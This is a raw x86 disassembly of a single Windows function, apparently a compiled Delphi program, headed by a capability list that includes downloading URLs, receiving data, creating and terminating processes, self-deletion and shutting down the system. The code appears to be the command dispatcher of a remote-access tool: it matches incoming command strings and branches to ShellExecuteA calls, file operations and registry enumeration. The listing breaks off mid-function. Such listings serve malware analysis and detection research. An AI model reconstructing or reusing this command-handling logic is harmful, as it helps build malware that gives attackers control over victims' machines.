Function at 0x4914d0
Capabilities:
Create process on windows
Download url
Receive data
Self delete
Shutdown system
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x110d
push 0
push 0
dec ecx
jne 0x4914d8
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4960fc
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x49608a
push dword fs:[edx]
mov dword fs:[edx], esp
lea ecx, [ebp - 0x835c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x835c]
mov edx, 0x496114
call fcn.00404efc
jne 0x491575
lea ecx, [ebp - 0x8360]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8360]
lea edx, [ebp - 0x38]
call fcn.00489fe0
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x496114
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8364]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8364]
mov edx, 0x496120
call fcn.00404efc
jne 0x4918a8
xor eax, eax
push ebp
push 0x491891
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
cmp eax, 3
jl 0x491853
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x49183c
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0x8368]
push eax
lea ecx, [ebp - 0x836c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x836c]
call fcn.00404db8
push eax
lea ecx, [ebp - 0x8370]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8370]
mov ecx, 1
pop edx
call fcn.00405010
mov eax, dword [ebp - 0x8368]
mov edx, 0x49612c
call fcn.00404efc
jne 0x49174f
lea ecx, [ebp - 0x8374]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8374]
call fcn.00409574
test al, al
je 0x491832
mov eax, dword [ebp - 0x20]
call fcn.00404db8
mov edx, eax
lea eax, [ebp - 0x20]
mov ecx, 1
call fcn.00405050
lea edx, [ebp - 0x8378]
mov eax, dword [ebp - 0x20]
call fcn.00489650
mov ecx, dword [ebp - 0x8378]
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
call fcn.00404e04
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0x1c]
mov ecx, 0x49612c
mov edx, dword [ebp - 0x18]
call fcn.00404e04
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x491733
inc dword [ebp - 0xc]
lea edx, [ebp - 0x837c]
mov eax, dword [ebp - 0x18]
call fcn.00489700
push dword [ebp - 0x837c]
push 0x496138
lea edx, [ebp - 0x8380]
mov eax, dword [ebp - 0xc]
call fcn.00409218
push dword [ebp - 0x8380]
push 0x496148
lea edx, [ebp - 0x8384]
mov eax, dword [ebp - 0x18]
call fcn.00489650
push dword [ebp - 0x8384]
push 0x49612c
lea eax, [ebp - 0x1c]
mov edx, 6
call fcn.00404e78
mov eax, dword [ebp - 0x1c]
call fcn.00409574
test al, al
jne 0x4916d8
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
call fcn.00489d58
jmp 0x491832
lea ecx, [ebp - 0x8388]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8388]
call fcn.00409564
test al, al
je 0x491832
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea edx, [ebp - 0x838c]
mov eax, dword [ebp - 0x20]
call fcn.00489650
mov edx, dword [ebp - 0x838c]
lea eax, [ebp - 0x1c]
call fcn.00404dc0
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
call fcn.00404b98
jmp 0x49181b
inc dword [ebp - 0xc]
lea edx, [ebp - 0x8390]
mov eax, dword [ebp - 0x18]
call fcn.00489700
push dword [ebp - 0x8390]
push 0x496138
lea edx, [ebp - 0x8394]
mov eax, dword [ebp - 0xc]
call fcn.00409218
push dword [ebp - 0x8394]
push 0x496148
lea edx, [ebp - 0x8398]
mov eax, dword [ebp - 0x18]
call fcn.00489650
push dword [ebp - 0x8398]
lea eax, [ebp - 0x1c]
mov edx, 5
call fcn.00404e78
mov eax, dword [ebp - 0x1c]
call fcn.00409564
test al, al
jne 0x4917c5
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
call fcn.00489bfc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491846
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jne 0x4915c5
lea eax, [ebp - 0x38]
mov edx, 0x496120
call fcn.00404b98
lea eax, [ebp - 0x839c]
mov ecx, 0x496154
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x839c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49189b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x83a0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83a0]
mov edx, 0x496160
call fcn.00404efc
jne 0x491924
xor eax, eax
push ebp
push 0x49190d
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4a5d49], 0
je 0x4918f0
mov eax, dword [0x4a5d40]
call fcn.0041e7ec
cmp byte [0x4a5d4a], 0
je 0x491903
mov eax, dword [0x4a5d44]
call fcn.0041e7ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491917
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x83a4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83a4]
mov edx, 0x49616c
call fcn.00404efc
jne 0x491afa
xor eax, eax
push ebp
push 0x491ae3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
cmp eax, 2
jl 0x491aa5
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x491a8e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x83a8]
push eax
lea ecx, [ebp - 0x83ac]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83ac]
call fcn.00404db8
push eax
lea ecx, [ebp - 0x83b0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83b0]
mov ecx, 1
pop edx
call fcn.00405010
mov eax, dword [ebp - 0x83a8]
mov edx, 0x49612c
call fcn.00404efc
jne 0x491a24
lea ecx, [ebp - 0x83b4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83b4]
call fcn.00409574
test al, al
je 0x491a84
lea ecx, [ebp - 0x83b8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83b8]
call fcn.004899dc
jmp 0x491a84
lea ecx, [ebp - 0x83bc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83bc]
call fcn.00409564
test al, al
je 0x491a84
lea ecx, [ebp - 0x83c0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83c0]
xor edx, edx
call fcn.0040967c
lea ecx, [ebp - 0x83c4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83c4]
call fcn.00409798
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491a98
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 1
jne 0x491974
lea eax, [ebp - 0x38]
mov edx, 0x496120
call fcn.00404b98
mov ecx, 0x496154
lea eax, [ebp - 0x83c8]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x83c8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491aed
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x83cc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83cc]
mov edx, 0x496178
call fcn.00404efc
jne 0x491bd9
xor eax, eax
push ebp
push 0x491bc2
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
xor eax, eax
push ebp
push 0x491b7a
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
call fcn.004097b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491b84
lea eax, [ebp - 0x38]
mov edx, 0x496120
call fcn.00404b98
mov ecx, 0x496154
lea eax, [ebp - 0x83d0]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x83d0]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491bcc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x83d4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83d4]
mov edx, 0x496184
call fcn.00404efc
jne 0x491d21
xor eax, eax
push ebp
push 0x491d0a
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x18]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x491cb4
inc dword [ebp - 0xc]
lea ecx, [ebp - 0x83dc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83dc]
lea edx, [ebp - 0x83d8]
call fcn.00489700
push dword [ebp - 0x83d8]
lea ecx, [ebp - 0x83e4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83e4]
lea edx, [ebp - 0x83e0]
call fcn.00489650
push dword [ebp - 0x83e0]
push 0x496190
lea edx, [ebp - 0x83e8]
mov eax, dword [ebp - 0xc]
call fcn.00409218
push dword [ebp - 0x83e8]
push 0x496148
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.00404e78
mov eax, dword [ebp - 0x18]
call fcn.00409574
test al, al
jne 0x491c2e
mov eax, dword [ebp - 0x18]
call fcn.00409a58
lea eax, [ebp - 0x38]
mov edx, 0x496120
call fcn.00404b98
mov ecx, 0x496154
lea eax, [ebp - 0x83ec]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x83ec]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491d14
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x83f0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83f0]
mov edx, 0x49619c
call fcn.00404efc
jne 0x491e9c
xor edx, edx
push ebp
push 0x491e85
push dword fs:[edx]
mov dword fs:[edx], esp
lea ecx, [ebp - 0x18]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x491dfc
inc dword [ebp - 0xc]
lea ecx, [ebp - 0x83f8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83f8]
lea edx, [ebp - 0x83f4]
call fcn.00489700
push dword [ebp - 0x83f4]
push 0x4961a8
lea edx, [ebp - 0x83fc]
mov eax, dword [ebp - 0xc]
call fcn.00409218
push dword [ebp - 0x83fc]
push 0x496148
lea ecx, [ebp - 0x8404]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8404]
lea edx, [ebp - 0x8400]
call fcn.00489650
push dword [ebp - 0x8400]
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.00404e78
mov eax, dword [ebp - 0x18]
call fcn.00409564
test al, al
jne 0x491d76
xor edx, edx
push ebp
push 0x491e3d
push dword fs:[edx]
mov dword fs:[edx], esp
push 0xffff
mov ecx, dword [ebp - 0x18]
mov dl, 1
mov eax, dword [0x414540]
call fcn.00418f4c
call fcn.00403d10
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491e47
lea eax, [ebp - 0x38]
mov edx, 0x496120
call fcn.00404b98
mov ecx, 0x496154
lea eax, [ebp - 0x8408]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x8408]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491e8f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x840c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x840c]
mov edx, 0x4961b8
call fcn.00404efc
jne 0x492065
xor eax, eax
push ebp
push 0x49204e
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x491fd2
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x8410]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8410]
call fcn.004092f8
sub eax, 1
jb 0x491f39
je 0x491f5a
dec eax
je 0x491f7b
dec eax
je 0x491f9c
jmp 0x491fbb
push 1
push 0
mov eax, dword [ebp - 0x20]
call fcn.00404fb0
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00404fb0
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x491fbb
push 0
push 0
mov eax, dword [ebp - 0x20]
call fcn.00404fb0
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00404fb0
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x491fbb
push 3
push 0
mov eax, dword [ebp - 0x20]
call fcn.00404fb0
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00404fb0
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x491fbb
push 6
push 0
mov eax, dword [ebp - 0x20]
call fcn.00404fb0
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00404fb0
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
lea eax, [ebp - 0x18]
mov edx, 0x4961c4
call fcn.00404b98
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491fe9
lea eax, [ebp - 0x38]
mov edx, 0x496160
call fcn.00404b98
mov ecx, 0x496154
lea eax, [ebp - 0x8414]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x8414]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
mov ecx, dword [eax]
call dword [ecx + 0x78]
mov ecx, 0x496154
lea eax, [ebp - 0x8418]
mov edx, dword [ebp - 0x18]
call fcn.00404e04
mov edx, dword [ebp - 0x8418]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492058
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x841c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x841c]
mov edx, 0x4961e4
call fcn.00404efc
jne 0x4920c7
xor edx, edx
push ebp
push 0x4920b0
push dword fs:[edx]
mov dword fs:[edx], esp
mov dl, 1
mov eax, dword [0x48a494]
call fcn.0048a50c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4920ba
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8420]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8420]
mov edx, 0x4961f0
call fcn.00404efc
jne 0x492289
xor eax, eax
push ebp
push 0x492272
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x38]
mov edx, 0x4961fc
call fcn.00404b98
mov ecx, 0x496154
lea eax, [ebp - 0x8424]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x8424]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x8428]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8428]
lea eax, [ebp - 0x18c]
call fcn.00402ef4
mov eax, dword [0x49eda8]
mov byte [eax], 0
mov edx, 1
lea eax, [ebp - 0x18c]
call fcn.00403590
call fcn.004028ac
xor edx, edx
lea eax, [ebp - 0x18c]
call fcn.004035b8
call fcn.004028ac
lea eax, [ebp - 0x18c]
call fcn.0040323c
call fcn.004028ac
mov edx, eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
mov cl, 1
call fcn.0046c2e4
xor eax, eax
push ebp
push 0x49221a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
or edx, 0xffffffff
call fcn.0046c528
lea eax, [ebp - 0x14]
push eax
lea edx, [ebp - 0x818c]
mov ecx, 0x8000
lea eax, [ebp - 0x18c]
call fcn.00403058
call fcn.004028ac
push 0
lea edx, [ebp - 0x818c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
mov ecx, dword [ebp - 0x14]
call fcn.0046bfa0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
call fcn.0046c550
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49224e
cmp dword [ebp - 0x14], 0
jne 0x4921ab
lea eax, [ebp - 0x18c]
call fcn.00403098
call fcn.004028ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49227c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x842c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x842c]
mov edx, 0x496208
call fcn.00404efc
jne 0x49232d
xor eax, eax
push ebp
push 0x492316
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4a5d49], 0
je 0x4922d1
mov eax, dword [0x4a5d40]
call fcn.0041e7ec
mov ecx, dword [0x4a5d4c]
mov dl, 1
mov eax, dword [0x48d2b0]
call fcn.0048d310
mov dword [0x4a5d40], eax
cmp byte [0x4a5d4a], 0
je 0x4922fb
mov eax, dword [0x4a5d44]
call fcn.0041e7ec
mov dl, 1
mov eax, dword [0x48db0c]
call fcn.0048db74
mov dword [0x4a5d44], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492320
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8430]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8430]
mov edx, 0x496214
call fcn.00404efc
jne 0x49254d
xor eax, eax
push ebp
push 0x492509
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x414340]
call fcn.00403ce0
mov esi, eax
mov dl, 1
mov eax, dword [0x414340]
call fcn.00403ce0
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov dl, 1
mov eax, dword [0x458814]
call fcn.00458914
mov dword [ebp - 0x24], eax
xor eax, eax
push ebp
push 0x4924f8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x1c]
mov edx, 0x496220
call fcn.00404efc
jne 0x4923ce
mov edx, 0x80000000
mov eax, dword [ebp - 0x24]
call fcn.004589b4
mov eax, dword [ebp - 0x1c]
mov edx, 0x49623c
call fcn.00404efc
jne 0x4923ea
mov edx, 0x80000001
mov eax, dword [ebp - 0x24]
call fcn.004589b4
mov eax, dword [ebp - 0x1c]
mov edx, 0x496258
call fcn.00404efc
jne 0x492406
mov edx, 0x80000002
mov eax, dword [ebp - 0x24]
call fcn.004589b4
mov eax, dword [ebp - 0x1c]
mov edx, 0x496274
call fcn.00404efc
jne 0x492422
mov edx, 0x80000003
mov eax, dword [ebp - 0x24]
call fcn.004589b4
mov eax, dword [ebp - 0x1c]
mov edx, 0x496288
call fcn.00404efc
jne 0x49243e
mov edx, 0x80000005
mov eax, dword [ebp - 0x24]
call fcn.004589b4
mov eax, dword [ebp - 0x1c]
mov edx, 0x4962a4
call fcn.00404efc
jne 0x49245a
mov edx, 0x80000006
mov eax, dword [ebp - 0x24]
call fcn.004589b4
lea eax, [ebp - 0x20]
call fcn.00404b00
lea ecx, [ebp - 0x8434]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8434]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
call fcn.00458af8
test al, al
je 0x4924da
mov edx, esi
mov eax, dword [ebp - 0x24]
call fcn.00458e1c
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x4924cf
inc ebx
mov dword [ebp - 0xc], 0
lea ecx, [ebp - 0x8438]
mov edx, dword [ebp - 0xc]
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
mov edx, dword [ebp - 0x8438]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc dword [ebp - 0xc]
dec ebx
jne 0x4924ab
lea edx, [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x24]
call fcn.00458984
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4924ff
mov eax, dword [ebp - 0x24]
call fcn.00403d10
ret
lea ecx, [ebp - 0x843c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x843c]
mov edx, 0x4962cc
call fcn.00404efc
jne 0x4925a6
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 8]
call fcn.0048b69c
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4962d8
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8440]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8440]
mov edx, 0x4962e4
call fcn.00404efc
jne 0x492629
xor eax, eax
push ebp
push 0x492612
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0048c2fc
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 8]
call fcn.0048b69c
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4962d8
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49261c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8444]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8444]
mov edx, 0x4961fc
call fcn.00404efc
jne 0x4926ac
xor eax, eax
push ebp
push 0x492695
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0048c020
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 8]
call fcn.0048b69c
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4962d8
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49269f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8448]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8448]
mov edx, 0x4962f0
